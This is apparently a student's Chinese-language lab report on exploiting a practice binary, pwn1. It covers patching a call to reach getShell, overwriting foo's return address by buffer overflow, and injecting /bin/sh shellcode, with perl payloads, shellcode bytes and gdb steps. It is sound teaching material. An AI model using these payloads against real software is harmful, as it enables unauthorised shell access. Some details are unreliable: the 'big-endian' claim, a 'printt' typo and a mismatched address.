实践目的

  • 本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
  • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行Shellcode。

基础知识

NOP, JNE, JE, JMP, CMP汇编指令的机器码

  • NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
  • JNE:条件转移指令,如果不相等则跳转。(机器码:75)
  • JE:条件转移指令,如果相等则跳转。(机器码:74)
  • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)
  • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果

实践内容

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。



    这张图是进程地址空间分布的简单表示。代码存储了用户程序的所有可执行代码,在程序正常执行的情况下,程序计数器(PC指针)只会在代码段和操作系统地址空间(内核态)内寻址。数据段内存储了用户程序的全局变量,文字池等。栈空间存储了用户程序的函数栈帧(包括参数、局部数据等),实现函数调用机制,它的数据增长方向是低地址方向。堆空间存储了程序运行时动态申请的内存数据等,数据增长方向是高地址方向。除了代码段和受操作系统保护的数据区域,其他的内存区域都可能作为缓冲区,因此缓冲区溢出的位置可能在数据段,也可能在堆、栈段。如果程序的代码有软件漏洞,恶意程序会“教唆”程序计数器从上述缓冲区内取指,执行恶意程序提供的数据代码!(如果我没理解错的话,实验二三就是让堆里的数据溢出到栈里吗。?)
  • 注入一个自己制作的shellcode并运行这段shellcode。

任务一、直接修改程序机器指令,改变程序执行流程

使用`objdump -d 20165314pwn1`将pwn1反汇编

不难看出,80484b5: e8 d7 ff ff ff call 8048491 <foo>这条汇编指令,在main函数中调用位于地址8048491处的foo函数,e8表示“call”,即跳转。

如果我们想让函数调用getShell,只需要修改d7 ff ff ff即可。根据foo函数与getShell地址的偏移量,我们计算出应该改为c3 ff ff ff

修改步骤如下:

1.vim 20165314pwn1进入命令模式

2.输入:%!xxd将显示模式切换为十六进制

3.在底行模式输入/e8 d7定位需要修改的地方,并确认



4.进入插入模式,修改d7c3



5.输入:%!xxd -r将十六进制转换为原格式

6.输入:wq保存并退出

反汇编查看修改后的代码,发现call指令正确调用getShell

运行修改后的代码,可以得到shell提示符

任务二、通过构造输入参数,造成BOF攻击,改变程序执行流

实验思路:

pwn2正常运行是调用函数foo,这个函数有Bufferoverflow漏洞。读入字符串时,系统只预留了一定字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址。尝试发现,当输入为以下字符时已经发生段错误,产生溢出。

1、运行pwn2,打开另一个终端窗口进入gdb,在foo函数的ret指令处设置断点,回到pwn2运行的终端输入字串1111111122222222333333334444444455555555,观察一下各寄存器的值

此时eip寄存器中的值为0x35353535,即5555的ASCII码。eip寄存器的值是保存程序下一步所要执行指令的地址,此处我们可以看出本来应返回到foo函数的返回地址已被"5555"覆盖。

2、将输入字符串的“55555555”改成“12345678”,此时寄存器eip的值,换算成ASCⅡ码刚好是1234。

也就是说如果输入字符串1111111122222222333333334444444412345678,那1234那4个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为getShell的内存地址,输给pwn2,pwn2就会运行getShell由反汇编结果可知getShell的内存地址为:0804847d,因无法通过键盘输入\x7d\x84\x04\x08这样的16进制值,需要使用Perl语言构造文件(Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用)

3、输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input,由于kali系统采用的是大端法,所以构造内存地址时注意顺序,末尾的\0a表示回车换行。

4、然后将input```,通过管道符“|”,作为pwn1的输入,格式为```(cat input; cat ) | ./pwn

攻击成功

任务三、注入Shellcode并运行攻击

实验思路:注入shellcode使覆盖后的返回地址为shellcode()的起始地址

  • shellcode就是一段机器指令(code)

    • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
    • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
  • 首先使用apt-get install execstack命令安装execstack

    修改以下内容
设置堆栈可执行 execstack -s pwn2
查询文件的堆栈是否可执行 execstack -q pwn2//预期结果应为“X pwn2”
关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space
查询地址随机化是否关闭(0代表关闭,2代表开启)
more /proc/sys/kernel/randomize_va_space

3.1 构造攻击buf(采用 retaddr+nop+shellcode 方法)

采用老师提供的shellcode 的代码\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00,

用perl语言输入代码perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode上面的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们把它改为这段shellcode的地址。

3.2确定返回地址的值

将写好的代码通过管道方式输入给程序pwn2中的foo函数进行覆盖(cat input_shellcode;cat) | ./pwn2,打开另外一个终端,用gdb来调试pwn2ps -ef | grep pwn2确定pwn2的进程号

  • 启动gdb调试这个程序 gdb ,attach 3900

  • 设置断点来查看注入buf的内存地址disassemble foo

    ret的地址为 0x080484ae,ret执行完就会跳到我们覆盖的返回地址了
  • break *0x080484ae设置断点
  • 在另一个终端按下回车,这样程序就会执行之后在断点处停下来
  • 再在gdb调试的终端输入 c 继续运行程序
  • 通过info r esp查看esp寄存器的地址



    上图可以看到 01020304所在的地址为0xffffd28c,那么注入的shellcode代码的地址应该在该地址后四个字节的位置,即0xffffd28c + 0x00000004 = 0xffffd290

    退出gdb调试。
  • 修改注入代码的覆盖地址

    输入perl -e 'print "A" x 32;printt"\x40\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

    执行程序,攻击成功

实验中遇到问题及解决方法

Q:下载的pwn1无法修改,提示权限不够

A:输入chmod a+x pwn1修改权限即可,关于出现这个问题的原因我跟其他同学讨论了一下,得到的结论是64位的大段机器不能直接运行pwn,但是32位的小端机器可以直接运行,but..why?

Q:注入修改后的shellcode之后运行pwn3提示段错误

A:重新设置堆栈可执行

Q:实验一中修改pwn1后无法运行

A:在十六进制下修改pwn1文件之后要用%!xxd -r改回原来的格式

PS:周一有同学问我pwn执行提示无法执行二进制文件,老师在群里说是没安装32位的库所以不兼容的问题,我拿做完实验二的pwn2试了一下也出现这种问题,所以我以为是注入的代码会对程序本身造成破坏 ,但是我第二天把初始pwn1重新做了一遍就没出现这种情况

实验收获与感想

收获:进一步理解了缓存溢出的过程与危害,学会了利用BOF漏洞进行攻击,自己上手操作还是会有很多细节做得不对或者不懂,还是应该多问问老师和其他同学

什么是漏洞?有什么危害

emmm看到这个问题我愣了一下,就这么让我描述我有点懵,复制一句我百度到的,“漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。”其实这里说的破坏并不只是指实体层次的破坏,也有可能是功能层面的破坏,就比如说我们学过的SYNFLOOD攻击,利用TCP协议等待响应包的漏洞,使得目标机无法响应正常包,而目标机器本身并没有被破坏。漏洞的危害一句话说就是被攻击者会执行未授权的服务,或无法执行已授权的服务,例如,无法正常响应收到的包,又或者是访问者可以访问未收钱的数据等等。

最新文章

  1. ArcGIS 通视分析工作原理
  2. CLR via C# 线程基础知识读书笔记
  3. ShopNc商城修改详情
  4. JS 浮点计算BUG
  5. Beginning Python From Novice to Professional (5) - 条件与循环
  6. ORACLE 中IN和EXISTS比较
  7. java 非缓冲与缓冲数据写入比较
  8. WannaflyUnion每日一题
  9. codeup模拟赛 进击的二叉查找数
  10. UNIX网络编程——僵尸进程
  11. 最近公共祖先问题(LCA)的几种实现方式
  12. React(四)组件生命周期
  13. P1577 切绳子(二分)
  14. Android invalidate()方法 requestLayout()方法分析
  15. 【转】Web前端性能优化——如何提高页面加载速度
  16. android使用ARouter跳转activity(阿里巴巴开源的)
  17. JAVA里的VO、BO、PO分别指什么?
  18. 一款基于Zigbee技术的智慧鱼塘系统研究与设计
  19. HttpClient 教程 (五)
  20. UESTC 2015dp专题 E 菲波拉契数制 dp

热门文章

  1. 动态强制改变for循环里面item的值
  2. Python神器 Jupyter Notebook
  3. python sorted函数多条件排序是怎么回事
  4. 对于BFS的理解和部分例题(
  5. 【学习笔记】TensorFlow
  6. python实现猜字游戏
  7. codeforces-1133 (div3)
  8. 路径分隔符不一致,导致windows下不能开发
  9. CentOS7设置ssh服务以及端口修改
  10. shell 生成目录的树状视图、生成文件及子目录的汇总信息